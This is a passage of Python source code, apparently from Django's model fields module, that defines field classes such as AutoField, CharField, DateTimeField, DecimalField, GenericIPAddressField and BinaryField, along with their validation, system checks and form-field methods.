defaults['initial'] = self.get_default() if self.choices: # Fields with choices get special treatment. include_blank = (self.blank or not (self.has_default() or 'initial' in kwargs)) defaults['choices'] = self.get_choices(include_blank=include_blank) defaults['coerce'] = self.to_python if self.null: defaults['empty_value'] = None if choices_form_class is not None: form_class = choices_form_class else: form_class = forms.TypedChoiceField # Many of the subclass-specific formfield arguments (min_value, # max_value) don't apply for choice fields, so be sure to only pass # the values that TypedChoiceField will understand. for k in list(kwargs): if k not in ('coerce', 'empty_value', 'choices', 'required', 'widget', 'label', 'initial', 'help_text', 'error_messages', 'show_hidden_initial'): del kwargs[k] defaults.update(kwargs) if form_class is None: form_class = forms.CharField return form_class(**defaults) def value_from_object(self, obj): """ Returns the value of this field in the given model instance. """ return getattr(obj, self.attname) class AutoField(Field): description = _("Integer") empty_strings_allowed = False default_error_messages = { 'invalid': _("'%(value)s' value must be an integer."), } def __init__(self, *args, **kwargs): kwargs['blank'] = True super(AutoField, self).__init__(*args, **kwargs) def check(self, **kwargs): errors = super(AutoField, self).check(**kwargs) errors.extend(self._check_primary_key()) return errors def _check_primary_key(self): if not self.primary_key: return [ checks.Error( 'AutoFields must set primary_key=True.', hint=None, obj=self, id='fields.E100', ), ] else: return [] def deconstruct(self): name, path, args, kwargs = super(AutoField, self).deconstruct() del kwargs['blank'] kwargs['primary_key'] = True return name, path, args, kwargs def get_internal_type(self): return "AutoField" def to_python(self, value): if value is None: return value try: return int(value) except (TypeError, ValueError): raise exceptions.ValidationError( self.error_messages['invalid'], code='invalid', params={'value': value}, ) def validate(self, value, model_instance): pass def get_db_prep_value(self, value, connection, prepared=False): if not prepared: value = self.get_prep_value(value) value = connection.ops.validate_autopk_value(value) return value def get_prep_value(self, value): value = super(AutoField, self).get_prep_value(value) if value is None: return None return int(value) def contribute_to_class(self, cls, name, **kwargs): assert not cls._meta.has_auto_field, \ "A model can't have more than one AutoField." super(AutoField, self).contribute_to_class(cls, name, **kwargs) cls._meta.has_auto_field = True cls._meta.auto_field = self def formfield(self, **kwargs): return None class BooleanField(Field): empty_strings_allowed = False default_error_messages = { 'invalid': _("'%(value)s' value must be either True or False."), } description = _("Boolean (Either True or False)") def __init__(self, *args, **kwargs): kwargs['blank'] = True super(BooleanField, self).__init__(*args, **kwargs) def check(self, **kwargs): errors = super(BooleanField, self).check(**kwargs) errors.extend(self._check_null(**kwargs)) return errors def _check_null(self, **kwargs): if getattr(self, 'null', False): return [ checks.Error( 'BooleanFields do not accept null values.', hint='Use a NullBooleanField instead.', obj=self, id='fields.E110', ) ] else: return [] def deconstruct(self): name, path, args, kwargs = super(BooleanField, self).deconstruct() del kwargs['blank'] return name, path, args, kwargs def get_internal_type(self): return "BooleanField" def to_python(self, value): if value in (True, False): # if value is 1 or 0 than it's equal to True or False, but we want # to return a true bool for semantic reasons. return bool(value) if value in ('t', 'True', '1'): return True if value in ('f', 'False', '0'): return False raise exceptions.ValidationError( self.error_messages['invalid'], code='invalid', params={'value': value}, ) def get_prep_lookup(self, lookup_type, value): # Special-case handling for filters coming from a Web request (e.g. the # admin interface). Only works for scalar values (not lists). If you're # passing in a list, you might as well make things the right type when # constructing the list. if value in ('1', '0'): value = bool(int(value)) return super(BooleanField, self).get_prep_lookup(lookup_type, value) def get_prep_value(self, value): value = super(BooleanField, self).get_prep_value(value) if value is None: return None return bool(value) def formfield(self, **kwargs): # Unlike most fields, BooleanField figures out include_blank from # self.null instead of self.blank. if self.choices: include_blank = not (self.has_default() or 'initial' in kwargs) defaults = {'choices': self.get_choices(include_blank=include_blank)} else: defaults = {'form_class': forms.BooleanField} defaults.update(kwargs) return super(BooleanField, self).formfield(**defaults) class CharField(Field): description = _("String (up to %(max_length)s)") def __init__(self, *args, **kwargs): super(CharField, self).__init__(*args, **kwargs) self.validators.append(validators.MaxLengthValidator(self.max_length)) def check(self, **kwargs): errors = super(CharField, self).check(**kwargs) errors.extend(self._check_max_length_attribute(**kwargs)) return errors def _check_max_length_attribute(self, **kwargs): try: max_length = int(self.max_length) if max_length <= 0: raise ValueError() except TypeError: return [ checks.Error( "CharFields must define a 'max_length' attribute.", hint=None, obj=self, id='fields.E120', ) ] except ValueError: return [ checks.Error( "'max_length' must be a positive integer.", hint=None, obj=self, id='fields.E121', ) ] else: return [] def get_internal_type(self): return "CharField" def to_python(self, value): if isinstance(value, six.string_types) or value is None: return value return smart_text(value) def get_prep_value(self, value): value = super(CharField, self).get_prep_value(value) return self.to_python(value) def formfield(self, **kwargs): # Passing max_length to forms.CharField means that the value's length # will be validated twice. This is considered acceptable since we want # the value in the form field (to pass into widget for example). defaults = {'max_length': self.max_length} defaults.update(kwargs) return super(CharField, self).formfield(**defaults) # TODO: Maybe move this into contrib, because it's specialized. class CommaSeparatedIntegerField(CharField): default_validators = [validators.validate_comma_separated_integer_list] description = _("Comma-separated integers") def formfield(self, **kwargs): defaults = { 'error_messages': { 'invalid': _('Enter only digits separated by commas.'), } } defaults.update(kwargs) return super(CommaSeparatedIntegerField, self).formfield(**defaults) class DateTimeCheckMixin(object): def check(self, **kwargs): errors = super(DateTimeCheckMixin, self).check(**kwargs) errors.extend(self._check_mutually_exclusive_options()) errors.extend(self._check_fix_default_value()) return errors def _check_mutually_exclusive_options(self): # auto_now, auto_now_add, and default are mutually exclusive # options. The use of more than one of these options together # will trigger an Error mutually_exclusive_options = [self.auto_now_add, self.auto_now, self.has_default()] enabled_options = [option not in (None, False) for option in mutually_exclusive_options].count(True) if enabled_options > 1: return [ checks.Error( "The options auto_now, auto_now_add, and default " "are mutually exclusive. Only one of these options " "may be present.", hint=None, obj=self, id='fields.E160', ) ] else: return [] def _check_fix_default_value(self): return [] class DateField(DateTimeCheckMixin, Field): empty_strings_allowed = False default_error_messages = { 'invalid': _("'%(value)s' value has an invalid date format. It must be " "in YYYY-MM-DD format."), 'invalid_date': _("'%(value)s' value has the correct format (YYYY-MM-DD) " "but it is an invalid date."), } description = _("Date (without time)") def __init__(self, verbose_name=None, name=None, auto_now=False, auto_now_add=False, **kwargs): self.auto_now, self.auto_now_add = auto_now, auto_now_add if auto_now or auto_now_add: kwargs['editable'] = False kwargs['blank'] = True super(DateField, self).__init__(verbose_name, name, **kwargs) def _check_fix_default_value(self): """ Adds a warning to the checks framework stating, that using an actual date or datetime value is probably wrong; it's only being evaluated on server start-up. For details see ticket #21905 """ if not self.has_default(): return [] now = timezone.now() if not timezone.is_naive(now): now = timezone.make_naive(now, timezone.utc) value = self.default if isinstance(value, datetime.datetime): if not timezone.is_naive(value): value = timezone.make_naive(value, timezone.utc) value = value.date() elif isinstance(value, datetime.date): # Nothing to do, as dates don't have tz information pass else: # No explicit date / datetime value -- no checks necessary return [] offset = datetime.timedelta(days=1) lower = (now - offset).date() upper = (now + offset).date() if lower <= value <= upper: return [ checks.Warning( 'Fixed default value provided.', hint='It seems you set a fixed date / time / datetime ' 'value as default for this field. This may not be ' 'what you want. If you want to have the current date ' 'as default, use `django.utils.timezone.now`', obj=self, id='fields.W161', ) ] return [] def deconstruct(self): name, path, args, kwargs = super(DateField, self).deconstruct() if self.auto_now: kwargs['auto_now'] = True if self.auto_now_add: kwargs['auto_now_add'] = True if self.auto_now or self.auto_now_add: del kwargs['editable'] del kwargs['blank'] return name, path, args, kwargs def get_internal_type(self): return "DateField" def to_python(self, value): if value is None: return value if isinstance(value, datetime.datetime): if settings.USE_TZ and timezone.is_aware(value): # Convert aware datetimes to the default time zone # before casting them to dates (#17742). default_timezone = timezone.get_default_timezone() value = timezone.make_naive(value, default_timezone) return value.date() if isinstance(value, datetime.date): return value try: parsed = parse_date(value) if parsed is not None: return parsed except ValueError: raise exceptions.ValidationError( self.error_messages['invalid_date'], code='invalid_date', params={'value': value}, ) raise exceptions.ValidationError( self.error_messages['invalid'], code='invalid', params={'value': value}, ) def pre_save(self, model_instance, add): if self.auto_now or (self.auto_now_add and add): value = datetime.date.today() setattr(model_instance, self.attname, value) return value else: return super(DateField, self).pre_save(model_instance, add) def contribute_to_class(self, cls, name, **kwargs): super(DateField, self).contribute_to_class(cls, name, **kwargs) if not self.null: setattr(cls, 'get_next_by_%s' % self.name, curry(cls._get_next_or_previous_by_FIELD, field=self, is_next=True)) setattr(cls, 'get_previous_by_%s' % self.name, curry(cls._get_next_or_previous_by_FIELD, field=self, is_next=False)) def get_prep_lookup(self, lookup_type, value): # For dates lookups, convert the value to an int # so the database backend always sees a consistent type. if lookup_type in ('month', 'day', 'week_day', 'hour', 'minute', 'second'): return int(value) return super(DateField, self).get_prep_lookup(lookup_type, value) def get_prep_value(self, value): value = super(DateField, self).get_prep_value(value) return self.to_python(value) def get_db_prep_value(self, value, connection, prepared=False): # Casts dates into the format expected by the backend if not prepared: value = self.get_prep_value(value) return connection.ops.value_to_db_date(value) def value_to_string(self, obj): val = self._get_val_from_obj(obj) return '' if val is None else val.isoformat() def formfield(self, **kwargs): defaults = {'form_class': forms.DateField} defaults.update(kwargs) return super(DateField, self).formfield(**defaults) class DateTimeField(DateField): empty_strings_allowed = False default_error_messages = { 'invalid': _("'%(value)s' value has an invalid format. It must be in " "YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ] format."), 'invalid_date': _("'%(value)s' value has the correct format " "(YYYY-MM-DD) but it is an invalid date."), 'invalid_datetime': _("'%(value)s' value has the correct format " "(YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ]) " "but it is an invalid date/time."), } description = _("Date (with time)") # __init__ is inherited from DateField def _check_fix_default_value(self): """ Adds a warning to the checks framework stating, that using an actual date or datetime value is probably wrong; it's only being evaluated on server start-up. For details see ticket #21905 """ if not self.has_default(): return [] now = timezone.now() if not timezone.is_naive(now): now = timezone.make_naive(now, timezone.utc) value = self.default if isinstance(value, datetime.datetime): second_offset = datetime.timedelta(seconds=10) lower = now - second_offset upper = now + second_offset if timezone.is_aware(value): value = timezone.make_naive(value, timezone.utc) elif isinstance(value, datetime.date): second_offset = datetime.timedelta(seconds=10) lower = now - second_offset lower = datetime.datetime(lower.year, lower.month, lower.day) upper = now + second_offset upper = datetime.datetime(upper.year, upper.month, upper.day) value = datetime.datetime(value.year, value.month, value.day) else: # No explicit date / datetime value -- no checks necessary return [] if lower <= value <= upper: return [ checks.Warning( 'Fixed default value provided.', hint='It seems you set a fixed date / time / datetime ' 'value as default for this field. This may not be ' 'what you want. If you want to have the current date ' 'as default, use `django.utils.timezone.now`', obj=self, id='fields.W161', ) ] return [] def get_internal_type(self): return "DateTimeField" def to_python(self, value): if value is None: return value if isinstance(value, datetime.datetime): return value if isinstance(value, datetime.date): value = datetime.datetime(value.year, value.month, value.day) if settings.USE_TZ: # For backwards compatibility, interpret naive datetimes in # local time. This won't work during DST change, but we can't # do much about it, so we let the exceptions percolate up the # call stack. warnings.warn("DateTimeField %s.%s received a naive datetime " "(%s) while time zone support is active." % (self.model.__name__, self.name, value), RuntimeWarning) default_timezone = timezone.get_default_timezone() value = timezone.make_aware(value, default_timezone) return value try: parsed = parse_datetime(value) if parsed is not None: return parsed except ValueError: raise exceptions.ValidationError( self.error_messages['invalid_datetime'], code='invalid_datetime', params={'value': value}, ) try: parsed = parse_date(value) if parsed is not None: return datetime.datetime(parsed.year, parsed.month, parsed.day) except ValueError: raise exceptions.ValidationError( self.error_messages['invalid_date'], code='invalid_date', params={'value': value}, ) raise exceptions.ValidationError( self.error_messages['invalid'], code='invalid', params={'value': value}, ) def pre_save(self, model_instance, add): if self.auto_now or (self.auto_now_add and add): value = timezone.now() setattr(model_instance, self.attname, value) return value else: return super(DateTimeField, self).pre_save(model_instance, add) # contribute_to_class is inherited from DateField, it registers # get_next_by_FOO and get_prev_by_FOO # get_prep_lookup is inherited from DateField def get_prep_value(self, value): value = super(DateTimeField, self).get_prep_value(value) value = self.to_python(value) if value is not None and settings.USE_TZ and timezone.is_naive(value): # For backwards compatibility, interpret naive datetimes in local # time. This won't work during DST change, but we can't do much # about it, so we let the exceptions percolate up the call stack. try: name = '%s.%s' % (self.model.__name__, self.name) except AttributeError: name = '(unbound)' warnings.warn("DateTimeField %s received a naive datetime (%s)" " while time zone support is active." % (name, value), RuntimeWarning) default_timezone = timezone.get_default_timezone() value = timezone.make_aware(value, default_timezone) return value def get_db_prep_value(self, value, connection, prepared=False): # Casts datetimes into the format expected by the backend if not prepared: value = self.get_prep_value(value) return connection.ops.value_to_db_datetime(value) def value_to_string(self, obj): val = self._get_val_from_obj(obj) return '' if val is None else val.isoformat() def formfield(self, **kwargs): defaults = {'form_class': forms.DateTimeField} defaults.update(kwargs) return super(DateTimeField, self).formfield(**defaults) class DecimalField(Field): empty_strings_allowed = False default_error_messages = { 'invalid': _("'%(value)s' value must be a decimal number."), } description = _("Decimal number") def __init__(self, verbose_name=None, name=None, max_digits=None, decimal_places=None, **kwargs): self.max_digits, self.decimal_places = max_digits, decimal_places super(DecimalField, self).__init__(verbose_name, name, **kwargs) def check(self, **kwargs): errors = super(DecimalField, self).check(**kwargs) digits_errors = self._check_decimal_places() digits_errors.extend(self._check_max_digits()) if not digits_errors: errors.extend(self._check_decimal_places_and_max_digits(**kwargs)) else: errors.extend(digits_errors) return errors def _check_decimal_places(self): try: decimal_places = int(self.decimal_places) if decimal_places < 0: raise ValueError() except TypeError: return [ checks.Error( "DecimalFields must define a 'decimal_places' attribute.", hint=None, obj=self, id='fields.E130', ) ] except ValueError: return [ checks.Error( "'decimal_places' must be a non-negative integer.", hint=None, obj=self, id='fields.E131', ) ] else: return [] def _check_max_digits(self): try: max_digits = int(self.max_digits) if max_digits <= 0: raise ValueError() except TypeError: return [ checks.Error( "DecimalFields must define a 'max_digits' attribute.", hint=None, obj=self, id='fields.E132', ) ] except ValueError: return [ checks.Error( "'max_digits' must be a positive integer.", hint=None, obj=self, id='fields.E133', ) ] else: return [] def _check_decimal_places_and_max_digits(self, **kwargs): if int(self.decimal_places) > int(self.max_digits): return [ checks.Error( "'max_digits' must be greater or equal to 'decimal_places'.", hint=None, obj=self, id='fields.E134', ) ] return [] def deconstruct(self): name, path, args, kwargs = super(DecimalField, self).deconstruct() if self.max_digits is not None: kwargs['max_digits'] = self.max_digits if self.decimal_places is not None: kwargs['decimal_places'] = self.decimal_places return name, path, args, kwargs def get_internal_type(self): return "DecimalField" def to_python(self, value): if value is None: return value try: return decimal.Decimal(value) except decimal.InvalidOperation: raise exceptions.ValidationError( self.error_messages['invalid'], code='invalid', params={'value': value}, ) def _format(self, value): if isinstance(value, six.string_types): return value else: return self.format_number(value) def format_number(self, value): """ Formats a number into a string with the requisite number of digits and decimal places. """ # Method moved to django.db.backends.utils. # # It is preserved because it is used by the oracle backend # (django.db.backends.oracle.query), and also for # backwards-compatibility with any external code which may have used # this method. from django.db.backends import utils return utils.format_number(value, self.max_digits, self.decimal_places) def get_db_prep_save(self, value, connection): return connection.ops.value_to_db_decimal(self.to_python(value), self.max_digits, self.decimal_places) def get_prep_value(self, value): value = super(DecimalField, self).get_prep_value(value) return self.to_python(value) def formfield(self, **kwargs): defaults = { 'max_digits': self.max_digits, 'decimal_places': self.decimal_places, 'form_class': forms.DecimalField, } defaults.update(kwargs) return super(DecimalField, self).formfield(**defaults) class DurationField(Field): """Stores timedelta objects. Uses interval on postgres, INVERAL DAY TO SECOND on Oracle, and bigint of microseconds on other databases. """ empty_strings_allowed = False default_error_messages = { 'invalid': _("'%(value)s' value has an invalid format. It must be in " "[DD] [HH:[MM:]]ss[.uuuuuu] format.") } description = _("Duration") def get_internal_type(self): return "DurationField" def to_python(self, value): if value is None: return value if isinstance(value, datetime.timedelta): return value try: parsed = parse_duration(value) except ValueError: pass else: if parsed is not None: return parsed raise exceptions.ValidationError( self.error_messages['invalid'], code='invalid', params={'value': value}, ) def get_db_prep_value(self, value, connection, prepared=False): if connection.features.has_native_duration_field: return value if value is None: return None return value.total_seconds() * 1000000 def get_db_converters(self, connection): converters = [] if not connection.features.has_native_duration_field: converters.append(connection.ops.convert_durationfield_value) return converters + super(DurationField, self).get_db_converters(connection) def value_to_string(self, obj): val = self._get_val_from_obj(obj) return '' if val is None else duration_string(val) class EmailField(CharField): default_validators = [validators.validate_email] description = _("Email address") def __init__(self, *args, **kwargs): # max_length=254 to be compliant with RFCs 3696 and 5321 kwargs['max_length'] = kwargs.get('max_length', 254) super(EmailField, self).__init__(*args, **kwargs) def deconstruct(self): name, path, args, kwargs = super(EmailField, self).deconstruct() # We do not exclude max_length if it matches default as we want to change # the default in future. return name, path, args, kwargs def formfield(self, **kwargs): # As with CharField, this will cause email validation to be performed # twice. defaults = { 'form_class': forms.EmailField, } defaults.update(kwargs) return super(EmailField, self).formfield(**defaults) class FilePathField(Field): description = _("File path") def __init__(self, verbose_name=None, name=None, path='', match=None, recursive=False, allow_files=True, allow_folders=False, **kwargs): self.path, self.match, self.recursive = path, match, recursive self.allow_files, self.allow_folders = allow_files, allow_folders kwargs['max_length'] = kwargs.get('max_length', 100) super(FilePathField, self).__init__(verbose_name, name, **kwargs) def check(self, **kwargs): errors = super(FilePathField, self).check(**kwargs) errors.extend(self._check_allowing_files_or_folders(**kwargs)) return errors def _check_allowing_files_or_folders(self, **kwargs): if not self.allow_files and not self.allow_folders: return [ checks.Error( "FilePathFields must have either 'allow_files' or 'allow_folders' set to True.", hint=None, obj=self, id='fields.E140', ) ] return [] def deconstruct(self): name, path, args, kwargs = super(FilePathField, self).deconstruct() if self.path != '': kwargs['path'] = self.path if self.match is not None: kwargs['match'] = self.match if self.recursive is not False: kwargs['recursive'] = self.recursive if self.allow_files is not True: kwargs['allow_files'] = self.allow_files if self.allow_folders is not False: kwargs['allow_folders'] = self.allow_folders if kwargs.get("max_length", None) == 100: del kwargs["max_length"] return name, path, args, kwargs def get_prep_value(self, value): value = super(FilePathField, self).get_prep_value(value) if value is None: return None return six.text_type(value) def formfield(self, **kwargs): defaults = { 'path': self.path, 'match': self.match, 'recursive': self.recursive, 'form_class': forms.FilePathField, 'allow_files': self.allow_files, 'allow_folders': self.allow_folders, } defaults.update(kwargs) return super(FilePathField, self).formfield(**defaults) def get_internal_type(self): return "FilePathField" class FloatField(Field): empty_strings_allowed = False default_error_messages = { 'invalid': _("'%(value)s' value must be a float."), } description = _("Floating point number") def get_prep_value(self, value): value = super(FloatField, self).get_prep_value(value) if value is None: return None return float(value) def get_internal_type(self): return "FloatField" def to_python(self, value): if value is None: return value try: return float(value) except (TypeError, ValueError): raise exceptions.ValidationError( self.error_messages['invalid'], code='invalid', params={'value': value}, ) def formfield(self, **kwargs): defaults = {'form_class': forms.FloatField} defaults.update(kwargs) return super(FloatField, self).formfield(**defaults) class IntegerField(Field): empty_strings_allowed = False default_error_messages = { 'invalid': _("'%(value)s' value must be an integer."), } description = _("Integer") def check(self, **kwargs): errors = super(IntegerField, self).check(**kwargs) errors.extend(self._check_max_length_warning()) return errors def _check_max_length_warning(self): if self.max_length is not None: return [ checks.Warning( "'max_length' is ignored when used with IntegerField", hint="Remove 'max_length' from field", obj=self, id='fields.W122', ) ] return [] @cached_property def validators(self): # These validators can't be added at field initialization time since # they're based on values retrieved from `connection`. range_validators = [] internal_type = self.get_internal_type() min_value, max_value = connection.ops.integer_field_range(internal_type) if min_value is not None: range_validators.append(validators.MinValueValidator(min_value)) if max_value is not None: range_validators.append(validators.MaxValueValidator(max_value)) return super(IntegerField, self).validators + range_validators def get_prep_value(self, value): value = super(IntegerField, self).get_prep_value(value) if value is None: return None return int(value) def get_prep_lookup(self, lookup_type, value): if ((lookup_type == 'gte' or lookup_type == 'lt') and isinstance(value, float)): value = math.ceil(value) return super(IntegerField, self).get_prep_lookup(lookup_type, value) def get_internal_type(self): return "IntegerField" def to_python(self, value): if value is None: return value try: return int(value) except (TypeError, ValueError): raise exceptions.ValidationError( self.error_messages['invalid'], code='invalid', params={'value': value}, ) def formfield(self, **kwargs): defaults = {'form_class': forms.IntegerField} defaults.update(kwargs) return super(IntegerField, self).formfield(**defaults) class BigIntegerField(IntegerField): empty_strings_allowed = False description = _("Big (8 byte) integer") MAX_BIGINT = 9223372036854775807 def get_internal_type(self): return "BigIntegerField" def formfield(self, **kwargs): defaults = {'min_value': -BigIntegerField.MAX_BIGINT - 1, 'max_value': BigIntegerField.MAX_BIGINT} defaults.update(kwargs) return super(BigIntegerField, self).formfield(**defaults) class IPAddressField(Field): empty_strings_allowed = False description = _("IPv4 address") system_check_deprecated_details = { 'msg': ( 'IPAddressField has been deprecated. Support for it (except in ' 'historical migrations) will be removed in Django 1.9.' ), 'hint': 'Use GenericIPAddressField instead.', 'id': 'fields.W900', } def __init__(self, *args, **kwargs): kwargs['max_length'] = 15 super(IPAddressField, self).__init__(*args, **kwargs) def deconstruct(self): name, path, args, kwargs = super(IPAddressField, self).deconstruct() del kwargs['max_length'] return name, path, args, kwargs def get_prep_value(self, value): value = super(IPAddressField, self).get_prep_value(value) if value is None: return None return six.text_type(value) def get_internal_type(self): return "IPAddressField" def formfield(self, **kwargs): defaults = {'form_class': forms.IPAddressField} defaults.update(kwargs) return super(IPAddressField, self).formfield(**defaults) class GenericIPAddressField(Field): empty_strings_allowed = False description = _("IP address") default_error_messages = {} def __init__(self, verbose_name=None, name=None, protocol='both', unpack_ipv4=False, *args, **kwargs): self.unpack_ipv4 = unpack_ipv4 self.protocol = protocol self.default_validators, invalid_error_message = \ validators.ip_address_validators(protocol, unpack_ipv4) self.default_error_messages['invalid'] = invalid_error_message kwargs['max_length'] = 39 super(GenericIPAddressField, self).__init__(verbose_name, name, *args, **kwargs) def check(self, **kwargs): errors = super(GenericIPAddressField, self).check(**kwargs) errors.extend(self._check_blank_and_null_values(**kwargs)) return errors def _check_blank_and_null_values(self, **kwargs): if not getattr(self, 'null', False) and getattr(self, 'blank', False): return [ checks.Error( ('GenericIPAddressFields cannot have blank=True if null=False, ' 'as blank values are stored as nulls.'), hint=None, obj=self, id='fields.E150', ) ] return [] def deconstruct(self): name, path, args, kwargs = super(GenericIPAddressField, self).deconstruct() if self.unpack_ipv4 is not False: kwargs['unpack_ipv4'] = self.unpack_ipv4 if self.protocol != "both": kwargs['protocol'] = self.protocol if kwargs.get("max_length", None) == 39: del kwargs['max_length'] return name, path, args, kwargs def get_internal_type(self): return "GenericIPAddressField" def to_python(self, value): if value and ':' in value: return clean_ipv6_address(value, self.unpack_ipv4, self.error_messages['invalid']) return value def get_db_prep_value(self, value, connection, prepared=False): if not prepared: value = self.get_prep_value(value) return connection.ops.value_to_db_ipaddress(value) def get_prep_value(self, value): value = super(GenericIPAddressField, self).get_prep_value(value) if value is None: return None if value and ':' in value: try: return clean_ipv6_address(value, self.unpack_ipv4) except exceptions.ValidationError: pass return six.text_type(value) def formfield(self, **kwargs): defaults = { 'protocol': self.protocol, 'form_class': forms.GenericIPAddressField, } defaults.update(kwargs) return super(GenericIPAddressField, self).formfield(**defaults) class NullBooleanField(Field): empty_strings_allowed = False default_error_messages = { 'invalid': _("'%(value)s' value must be either None, True or False."), } description = _("Boolean (Either True, False or None)") def __init__(self, *args, **kwargs): kwargs['null'] = True kwargs['blank'] = True super(NullBooleanField, self).__init__(*args, **kwargs) def deconstruct(self): name, path, args, kwargs = super(NullBooleanField, self).deconstruct() del kwargs['null'] del kwargs['blank'] return name, path, args, kwargs def get_internal_type(self): return "NullBooleanField" def to_python(self, value): if value is None: return None if value in (True, False): return bool(value) if value in ('None',): return None if value in ('t', 'True', '1'): return True if value in ('f', 'False', '0'): return False raise exceptions.ValidationError( self.error_messages['invalid'], code='invalid', params={'value': value}, ) def get_prep_lookup(self, lookup_type, value): # Special-case handling for filters coming from a Web request (e.g. the # admin interface). Only works for scalar values (not lists). If you're # passing in a list, you might as well make things the right type when # constructing the list. if value in ('1', '0'): value = bool(int(value)) return super(NullBooleanField, self).get_prep_lookup(lookup_type, value) def get_prep_value(self, value): value = super(NullBooleanField, self).get_prep_value(value) if value is None: return None return bool(value) def formfield(self, **kwargs): defaults = { 'form_class': forms.NullBooleanField, 'required': not self.blank, 'label': capfirst(self.verbose_name), 'help_text': self.help_text} defaults.update(kwargs) return super(NullBooleanField, self).formfield(**defaults) class PositiveIntegerField(IntegerField): description = _("Positive integer") def get_internal_type(self): return "PositiveIntegerField" def formfield(self, **kwargs): defaults = {'min_value': 0} defaults.update(kwargs) return super(PositiveIntegerField, self).formfield(**defaults) class PositiveSmallIntegerField(IntegerField): description = _("Positive small integer") def get_internal_type(self): return "PositiveSmallIntegerField" def formfield(self, **kwargs): defaults = {'min_value': 0} defaults.update(kwargs) return super(PositiveSmallIntegerField, self).formfield(**defaults) class SlugField(CharField): default_validators = [validators.validate_slug] description = _("Slug (up to %(max_length)s)") def __init__(self, *args, **kwargs): kwargs['max_length'] = kwargs.get('max_length', 50) # Set db_index=True unless it's been set manually. if 'db_index' not in kwargs: kwargs['db_index'] = True super(SlugField, self).__init__(*args, **kwargs) def deconstruct(self): name, path, args, kwargs = super(SlugField, self).deconstruct() if kwargs.get("max_length", None) == 50: del kwargs['max_length'] if self.db_index is False: kwargs['db_index'] = False else: del kwargs['db_index'] return name, path, args, kwargs def get_internal_type(self): return "SlugField" def formfield(self, **kwargs): defaults = {'form_class': forms.SlugField} defaults.update(kwargs) return super(SlugField, self).formfield(**defaults) class SmallIntegerField(IntegerField): description = _("Small integer") def get_internal_type(self): return "SmallIntegerField" class TextField(Field): description = _("Text") def get_internal_type(self): return "TextField" def get_prep_value(self, value): value = super(TextField, self).get_prep_value(value) if isinstance(value, six.string_types) or value is None: return value return smart_text(value) def formfield(self, **kwargs): # Passing max_length to forms.CharField means that the value's length # will be validated twice. This is considered acceptable since we want # the value in the form field (to pass into widget for example). defaults = {'max_length': self.max_length, 'widget': forms.Textarea} defaults.update(kwargs) return super(TextField, self).formfield(**defaults) class TimeField(DateTimeCheckMixin, Field): empty_strings_allowed = False default_error_messages = { 'invalid': _("'%(value)s' value has an invalid format. It must be in " "HH:MM[:ss[.uuuuuu]] format."), 'invalid_time': _("'%(value)s' value has the correct format " "(HH:MM[:ss[.uuuuuu]]) but it is an invalid time."), } description = _("Time") def __init__(self, verbose_name=None, name=None, auto_now=False, auto_now_add=False, **kwargs): self.auto_now, self.auto_now_add = auto_now, auto_now_add if auto_now or auto_now_add: kwargs['editable'] = False kwargs['blank'] = True super(TimeField, self).__init__(verbose_name, name, **kwargs) def _check_fix_default_value(self): """ Adds a warning to the checks framework stating, that using an actual time or datetime value is probably wrong; it's only being evaluated on server start-up. For details see ticket #21905 """ if not self.has_default(): return [] now = timezone.now() if not timezone.is_naive(now): now = timezone.make_naive(now, timezone.utc) value = self.default if isinstance(value, datetime.datetime): second_offset = datetime.timedelta(seconds=10) lower = now - second_offset upper = now + second_offset if timezone.is_aware(value): value = timezone.make_naive(value, timezone.utc) elif isinstance(value, datetime.time): second_offset = datetime.timedelta(seconds=10) lower = now - second_offset upper = now + second_offset value = datetime.datetime.combine(now.date(), value) if timezone.is_aware(value): value = timezone.make_naive(value, timezone.utc).time() else: # No explicit time / datetime value -- no checks necessary return [] if lower <= value <= upper: return [ checks.Warning( 'Fixed default value provided.', hint='It seems you set a fixed date / time / datetime ' 'value as default for this field. This may not be ' 'what you want. If you want to have the current date ' 'as default, use `django.utils.timezone.now`', obj=self, id='fields.W161', ) ] return [] def deconstruct(self): name, path, args, kwargs = super(TimeField, self).deconstruct() if self.auto_now is not False: kwargs["auto_now"] = self.auto_now if self.auto_now_add is not False: kwargs["auto_now_add"] = self.auto_now_add if self.auto_now or self.auto_now_add: del kwargs['blank'] del kwargs['editable'] return name, path, args, kwargs def get_internal_type(self): return "TimeField" def to_python(self, value): if value is None: return None if isinstance(value, datetime.time): return value if isinstance(value, datetime.datetime): # Not usually a good idea to pass in a datetime here (it loses # information), but this can be a side-effect of interacting with a # database backend (e.g. Oracle), so we'll be accommodating. return value.time() try: parsed = parse_time(value) if parsed is not None: return parsed except ValueError: raise exceptions.ValidationError( self.error_messages['invalid_time'], code='invalid_time', params={'value': value}, ) raise exceptions.ValidationError( self.error_messages['invalid'], code='invalid', params={'value': value}, ) def pre_save(self, model_instance, add): if self.auto_now or (self.auto_now_add and add): value = datetime.datetime.now().time() setattr(model_instance, self.attname, value) return value else: return super(TimeField, self).pre_save(model_instance, add) def get_prep_value(self, value): value = super(TimeField, self).get_prep_value(value) return self.to_python(value) def get_db_prep_value(self, value, connection, prepared=False): # Casts times into the format expected by the backend if not prepared: value = self.get_prep_value(value) return connection.ops.value_to_db_time(value) def value_to_string(self, obj): val = self._get_val_from_obj(obj) return '' if val is None else val.isoformat() def formfield(self, **kwargs): defaults = {'form_class': forms.TimeField} defaults.update(kwargs) return super(TimeField, self).formfield(**defaults) class URLField(CharField): default_validators = [validators.URLValidator()] description = _("URL") def __init__(self, verbose_name=None, name=None, **kwargs): kwargs['max_length'] = kwargs.get('max_length', 200) super(URLField, self).__init__(verbose_name, name, **kwargs) def deconstruct(self): name, path, args, kwargs = super(URLField, self).deconstruct() if kwargs.get("max_length", None) == 200: del kwargs['max_length'] return name, path, args, kwargs def formfield(self, **kwargs): # As with CharField, this will cause URL validation to be performed # twice. defaults = { 'form_class': forms.URLField, } defaults.update(kwargs) return super(URLField, self).formfield(**defaults) class BinaryField(Field): description = _("Raw binary data") empty_values = [None, b''] def __init__(self, *args, **kwargs): kwargs['editable'] = False super(BinaryField, self).__init__(*args, **kwargs) if self.max_length is not None: self.validators.append(validators.MaxLengthValidator(self.max_length)) def deconstruct(self): name, path, args, kwargs = super(BinaryField, self).deconstruct() del kwargs['editable'] return name, path, args, kwargs def get_internal_type(self): return "BinaryField" def get_default(self): if self.has_default() and not callable(self.default): return self.default default = super(BinaryField, self).get_default() if default == '': return b'' return default def get_db_prep_value(self, value, connection, prepared=False): value = super(BinaryField, self).get_db_prep_value(value, connection, prepared) if value is not 